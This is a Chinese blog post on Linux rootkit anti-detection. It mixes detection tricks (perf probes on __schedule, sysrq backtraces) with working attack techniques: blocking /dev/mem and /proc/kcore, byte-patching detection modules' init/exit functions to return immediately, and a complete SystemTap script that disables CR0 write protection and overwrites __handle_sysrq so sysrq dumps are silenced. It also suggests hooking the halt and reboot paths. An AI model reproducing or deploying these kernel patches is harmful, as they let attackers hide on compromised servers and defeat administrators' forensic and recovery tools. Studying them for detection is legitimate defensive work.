Linux Rootkit的反侦测手段漫谈
任何恶意程序和反恶意程序都是左右手互搏,无关褒贬善恶,它们使用的均是同一种技术或者说手段。
之前说了很多如何做一个藏得很深的Rootkit,无论是藏进程,藏TCP连接,还是藏文件,当然,也顺便说了很多如何发现这些Rootkit的技巧,本文主要聊一下 Rootkit需要主动做哪些具体措施以反制侦测程序的侦测。
我们用之前的脚本隐彻底藏掉一个进程:
[root@localhost test]# ps -e|grep loooo
1545 pts/3 00:00:00 loooooooop
[root@localhost test]# stap -g ./hide_process.stp 1545 0 1234
[root@localhost test]# ps -e|grep looooo
[root@localhost test]#
我所谓的彻底隐藏绝不仅仅在procfs里掩耳盗铃这么简单,而是彻底将进程从task list中摘除,你即便是遍历task list也找不到它。详情参见:
https://blog.csdn.net/dog250/article/details/105371830
但是,运行队列里有啊!毕竟它总是要运行的吧。所以我自己当然知道如何找到它。
然而,当你不知道系统里有一个被隐藏进程的时候,怎么办?你只是知道此时服务器有点异常,比方说突然间一个月电费激增…你如何确认到底发生了什么呢?
好吧,咱们来debug吧。
[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /dev/mem
...
This program has absolutely no warranty. Enter "help warranty" for details.crash: /dev/mem: Operation not permittedUsage:crash [OPTION]... NAMELIST MEMORY-IMAGE[@ADDRESS] (dumpfile form)crash [OPTION]... [NAMELIST] (live system form)Enter "crash -h" for details.
[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /proc/kcore
...
crash: /proc/kcore: Operation not permitted
...
抱歉,无可能了!Why?
前面说过,Rootkit得手了,当然要把门锁上咯…Rootkit把/dev/mem,/proc/kcore的open接口给封死了。
通过debug live kernel的内存不行了,那么我们自己写模块来侦测怎么样?
…(此处略过侦测模块的内容)
加载成功!我们来dmesg看结果吧!很遗憾,什么也没有!因为Rootkit已经把模块的init函数和exit全部HOOK成了:
return 0;
而这个非常容易,直接用模块的notifier机制将init/exit函数开头修改几个字节即可:
// 把模块的init函数换成"return 0;"
init[0] = 0x31; // xor %eax, %eax
init[1] = 0xc0; // retq
init[2] = 0xc3; // retq
// 把模块的exit函数换成"return;" 防止侦测模块在exit函数中做一些事情。
exit[0] = 0xc3;
所以,自己写的模块完全失效!
我本来是想在一篇文章里全部写完的,然而那样会很长,所以我就想一点写一点。其实封堵/dev/mem,封堵/proc/kcore,封堵内核模块并不能完全封堵侦测,还有三类需要重视:
- eBPF tracing
- Normal tracing
- Sysrq dump
我目前没有eBPF环境,所以这里先不说eBPF。这里说说tracing和sysrq。先看看tracing机制如何发现被隐藏的进程。这非常简单。
被隐藏的进程总要被调度执行,那就trace调度点呗。当然,这有点暴力,不过也没办法,就好像地铁站,火车站总有查证的一样,阻碍交通,但有效啊!
下面的操作一气呵成即可:
# 先找个探测点
[root@localhost ~]# perf probe --line __schedule
<__schedule@/usr/src/debug/kernel-3.10/linux-3.10.x86_64/kernel/sched/core.c:0>0 static void __sched __schedule(void)1 {...58 clear_tsk_need_resched(prev);59 rq->skip_clock_update = 0;61 if (likely(prev != next)) {...
# 增加一个探测probe
[root@localhost ~]# perf probe '__schedule:59 prev->comm:string'
Added new event:probe:__schedule (on __schedule:59 with comm=prev->comm:string)You can now use it in all perf tools, such as:perf record -e probe:__schedule -aR sleep 1
# 开始探测2秒钟
[root@localhost ~]# perf record -e probe:__schedule -aR sleep 2
[ perf record: Woken up 1 times to write data ]
[ perf record: Captured and wrote 0.146 MB perf.data (41 samples) ]
# 查看结果
[root@localhost ~]# perf scriptperf 1903 [000] 1643.752322: probe:__schedule: (ffffffff8163993d) comm="perf"sleep 1904 [000] 1643.752849: probe:__schedule: (ffffffff8163993d) comm="sleep":1545 1545 [000] 1643.764831: probe:__schedule: (ffffffff8163993d) comm="loooooooop"rcuos/0 11 [000] 1643.764847: probe:__schedule: (ffffffff8163993d) comm="rcuos/0"rcu_sched 10 [000] 1643.764851: probe:__schedule: (ffffffff8163993d) comm="rcu_sched":1545 1545 [000] 1643.776636: probe:__schedule: (ffffffff8163993d) comm="loooooooop"rcu_sched 10 [000] 1643.776645: probe:__schedule: (ffffffff8163993d) comm="rcu_sched"rcuos/0 11 [000] 1643.776668: probe:__schedule: (ffffffff8163993d) comm="rcuos/0":1545 1545 [000] 1643.881082: probe:__schedule: (ffffffff8163993d) comm="loooooooop"kworker/0:1 22 [000] 1643.881102: probe:__schedule: (ffffffff8163993d) comm="kworker/0:1":1545 1545 [000] 1644.040785: probe:__schedule: (ffffffff8163993d) comm="loooooooop"tuned 1221 [000] 1644.040863: probe:__schedule: (ffffffff8163993d) comm="tuned":1545 1545 [000] 1644.173536: probe:__schedule: (ffffffff8163993d) comm="loooooooop"
我们看到了一个可疑的进程,OK,成功抓住了loooooooop!
玩过瘾之后,接下来我要把trace机制封堵了。封堵过程我就不再赘述了,反正很简单,只要让trace接口注册函数直接return即可。依然是老套的二进制代码HOOK,有点烦了。
接下来我们看看sysrq如何抓到被隐藏的进程。
# 为了确认用法,先help一下
[root@localhost ~]# echo h >/proc/sysrq-trigger
[root@localhost ~]#
[root@localhost ~]# dmesg
[ 659.915967] SysRq : HELP : loglevel(0-9) reboot(b) crash(c) terminate-all-tasks(e) memory-full-oom-kill(f) kill-all-tasks(i) thaw-filesystems(j) sak(k) show-backtrace-all-active-cpus(l) show-memory-usage(m) nice-all-RT-tasks(n) poweroff(o) show-registers(p) show-all-timers(q) unraw(r) sync(s) show-task-states(t) unmount(u) show-blocked-tasks(w) dump-ftrace-buffer(z)
[root@localhost ~]# echo l >/proc/sysrq-trigger
[root@localhost ~]# dmesg
...
# 如果被隐藏进程是个吃CPU的,那么不用几次就能找出来,因为它大概率正在某个CPU上运行,当前的stack就是它的stack!
[ 664.780275] NMI backtrace for cpu 1
# pid不是1545,因为这是两次实验
[ 664.780279] CPU: 1 PID: 1392 Comm: loooooooop Tainted: G OE ------------ 3.10.x86_64 #1
[ 664.780280] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006
[ 664.780281] task: ffff88003c2e0c60 ti: ffff88003bbf8000 task.ti: ffff88003bbf8000
[ 664.780282] RIP: 0033:[<00000000004004d1>] [<00000000004004d1>] 0x4004d0
[ 664.780300] RSP: 002b:00007ffd4284c530 EFLAGS: 00000246
[ 664.780301] RAX: 00000000004004cd RBX: 0000000000000000 RCX: 00000000004004e0
[ 664.780302] RDX: 00007ffd4284c628 RSI: 00007ffd4284c618 RDI: 0000000000000001
[ 664.780304] RBP: 00007ffd4284c530 R08: 00007f7464447e80 R09: 0000000000000000
[ 664.780305] R10: 00007ffd4284c060 R11: 00007f74640a22e0 R12: 00000000004003e0
[ 664.780307] R13: 00007ffd4284c610 R14: 0000000000000000 R15: 0000000000000000
[ 664.780309] FS: 00007f746465b740(0000) GS:ffff88003fc80000(0000) knlGS:0000000000000000
[ 664.780310] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 664.780311] CR2: 00007fcae1697248 CR3: 000000003b604000 CR4: 00000000000406e0
[ 664.780316] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 664.780318] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
...
值得一提的是,如果是单核心CPU的机器,就不能使用procfs来触发sysrq dump stack了,因为无论如何它总是echo l >/proc/sysrq-trigger程序本身的stack,此时就需要真正用键盘的Sysrq键来触发了。
如果是远程登录,那么显然这里就需要ipmi等带外机制来触发键盘操作了。
封堵sysrq机制势在必行。这简直太容易了,封堵__handle_sysrq函数即可:
// drivers/tty/sysrq.c
void handle_sysrq(int key)
{if (sysrq_on())__handle_sysrq(key, true);
}
脚本如下:
// disysrq.stp
#!/usr/bin/stap -g
function disysrq()
%{unsigned char *_handle_sysrq;unsigned char ret_1[6];unsigned long cr0;_handle_sysrq = (void *)kallsyms_lookup_name("__handle_sysrq");if (!_handle_sysrq)return;ret_1[0] = 0xc3; // retqcr0 = read_cr0();clear_bit(16, &cr0);write_cr0(cr0);memcpy(_handle_sysrq, ret_1, sizeof(ret_1));set_bit(16, &cr0);write_cr0(cr0);
%}probe begin
{disysrq();exit();
}
由于我之前已经执行了anti-sense.stp脚本禁用了模块,所以我必须重启机器来验证禁用sysrq的功能:
[root@localhost ~]# echo h >/proc/sysrq-trigger
[root@localhost ~]# echo l >/proc/sysrq-trigger
[root@localhost ~]# dmesg
[root@localhost ~]# echo $?
0
什么系统都没有了!
OK,事到如此,经理只能一损俱损而被迫关机了!
怎么样?能让经理顺利关机吗?不可能的!于是将halt接口,reboot接口machine_emergency_restart,machine_restart,machine_halt封堵了吧,只是顺便的徒手之劳罢了。
事已至此,不必难过,好在还有ipmi来带外操作。
哈哈,难道ipmi就不能劫持吗?只要有接口,就能被劫持,难易不同而已。有接口的地方就能玩花活儿。
接口?这玩意儿初衷是给程序员用的,不是给代码用的,代码只是被迫 利用 而不是主动 使用 ,记住,在CPU看来,没有结构化,没有对象,CPU看到的只是一串冗长乏味的指令。接口这玩意儿非常之脆弱!我们看自来水管漏水,基本也是接口处。
一串指令如果顺序执行下去,便很难hook,然而一旦有个call或者jmp,那hook也就是换个地址的事了。
好吧,我承认,经理至少可以买机票去机房拔电线,按电源,或者一盆水泼在机柜上,然而这里还有一道接口,那就是机房的大门,经理穿着西装,他进得去机房吗?就算他进去了,然而经理穿着进水的皮鞋
Linux Rootkit的反侦测手段漫谈相关推荐
- Linux Rootkit躲避内核检测
来自 Linux Rootkit如何避开内核检测的 Rootkit在登堂入室并得手后,还要记得把门锁上. 如果我们想注入一个Rootkit到内核,同时不想被侦测到,那么我们需要做的是精妙的隐藏,并保持 ...
- linux rootkit手动排查,Linux Rootkit如何避开内核检测的
Rootkit在登堂入室并得手后,还要记得把门锁上. 如果我们想注入一个Rootkit到内核,同时不想被侦测到,那么我们需要做的是精妙的隐藏,并保持低调静悄悄,这个话题我已经谈过了,诸如进程摘链,TC ...
- Linux Rootkit 系列三:实例详解 Rootkit 必备的基本功能
本文所需的完整代码位于笔者的代码仓库:https://github.com/NoviceLive/research-rootkit. 测试建议: 不要在物理机测试!不要在物理机测试! 不要在物理机测试 ...
- linux rootkit 端口复用,Linux Rootkit系列三:实例详解 Rootkit 必备的基本功能
前言鉴于笔者知识能力上的不足,如有疏忽,欢迎纠正. 测试建议: 不要在物理机测试!不要在物理机测试! 不要在物理机测试! 概要 在 上一篇文章中笔者详细地阐述了基于直接修改系统调用表 (即 sys_c ...
- 详细解析反爬手段以及处理方案
详细解析反爬手段以及处理方案 前言 互联网时代,无论在工作上,还是生活上都离不开网络,而网络能给我们带来什么? 新闻,小说,资料,各行业的数据或者报表等等: 比如:快毕业了为了论文,在各种 ...
- Python之反爬虫手段(User-Agent,Cookie,Referer,time.sleep(),IP代理池)
现在的爬虫越来越难,各大网站为了预防不间断的网络爬虫,都相应地做出了不同的反爬机制,那么如何能够在不被封IP的情况,尽可能多得爬取数据呢?这里主要介绍到一些通用的反爬措施,虽然不一定适合所有网站,但是 ...
- linux Rootkit:x86与ARM的内联内核函数Hooking
介绍 几个月前,我添加了一个新的项目.(https://github.com/mncoppola/suterusu) 通过我的各种对路由器后门及内核漏洞利用的探险,我最近的兴趣转向Li ...
- Linux Rootkit 系列四:对于系统调用挂钩方法的补充
本篇文章按照之前文章所说的,来介绍linux rootkit中的系统调用挂钩技术. 1.背景 本次环境依然是linux 2.6系列内核,ubuntu10.04. 本篇文章及上篇文章的示例代码:Gith ...
- 【风控体系】互联网反欺诈体系漫谈
转:原文链接:https://mp.weixin.qq.com/s/9TUNBIbf85MVZ6QlyN34lw 感觉类似金融风控实验室的概念,会越来越火,也希望越来越多志同道合的小伙伴可以加入这个圈 ...
最新文章
- Android studio 下 JNI 开发实例
- mysql数据压缩加密_MySQL 加密/压缩函数
- 程序员,你是真的该养生了
- 18 Context与组合的应用场景与使用问题
- NHibernate使用之详细图解
- 学C语言好,还是学C++好呢?这两个专业在哪些领域用得最多?
- 栈的链式存储结构及实现
- webapi控制器怎么接收json_新手指南之 Kubernetes 准入控制器
- “阿里云核心竞争力”峰会首日中奖小伙伴名单公布!机械键盘等豪礼下午继续放出!...
- Bochs使用简单教程
- itil v4和v3的区别_ITIL从v3到v4 - 这是新的ITIL
- 从零开始的单片机学习(二)
- MoveKit:一款功能强大的Cobalt Strike横向渗透套件
- win7无线网显示小太阳
- 微微信.NET 微信的开发者验证ASP.NET C#代码
- 详解 P沟道mos管与N沟道mos管
- BP神经网络的Java实现
- Flask--Blueprint(蓝图)简单使用笔记
- C++中fread函数和fwrite函数的用法
- 一元二次方程通解方程c语言编程,一元二次方程求解程序完整代码
热门文章
- 咖啡产品介绍PPT模板
- 利用阿里云短信找回密码 SpringBoot集成Mybatis
- win10连接android手机助手下载,完美Win10手机助手电脑版
- R语言——循环判断语句
- Linux 服务器部署 vue(SPA) 与 nuxt(SSR)项目
- 服务器进pe后找不到硬盘,进入PE后找不到硬盘的原因及解决方法
- 健身房健身需要什么装备,五款健身房必备运动耳机分享
- Java web课程设计-购物系统
- 大二Web课程设计——基于HTML+CSS+JavaScript+jquery手表商城购物网站(17页)
- JVM——GC算法原理